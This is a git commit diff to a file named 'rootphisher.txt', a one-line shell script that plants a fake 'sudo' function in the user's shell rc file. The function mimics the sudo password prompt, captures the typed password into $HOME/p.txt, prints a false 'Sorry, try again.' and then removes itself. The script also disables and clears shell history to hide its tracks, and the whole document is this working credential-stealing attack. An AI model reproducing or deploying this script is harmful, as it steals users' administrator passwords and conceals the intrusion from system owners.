Commit: ed0e49abde59a768b36f95466e828ef3f3160a64 Parent: cc3306b00fbae2fb3134b14399427e49aa0a8f0c Author: Vi Grey Date: 2017-10-15 02:50 UTC Summary: rootphisher.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rootphisher.txt b/rootphisher.txt index ae20ce2..5e977e9 100644 --- a/rootphisher.txt +++ b/rootphisher.txt @@ -1,3 +1,3 @@ a=$HISTFILE;unset HISTFILE -h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi;};$R(){ $r \$@;}">>$s -sed -i -n /HISTFILE/\!p $a;history -c>/dev/null 2>&1;exit \ No newline at end of file +h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi;};$t(){ $r \$@;}">>$s +sed -i -n /HISTFILE/\!p $a;history -c;exit \ No newline at end of file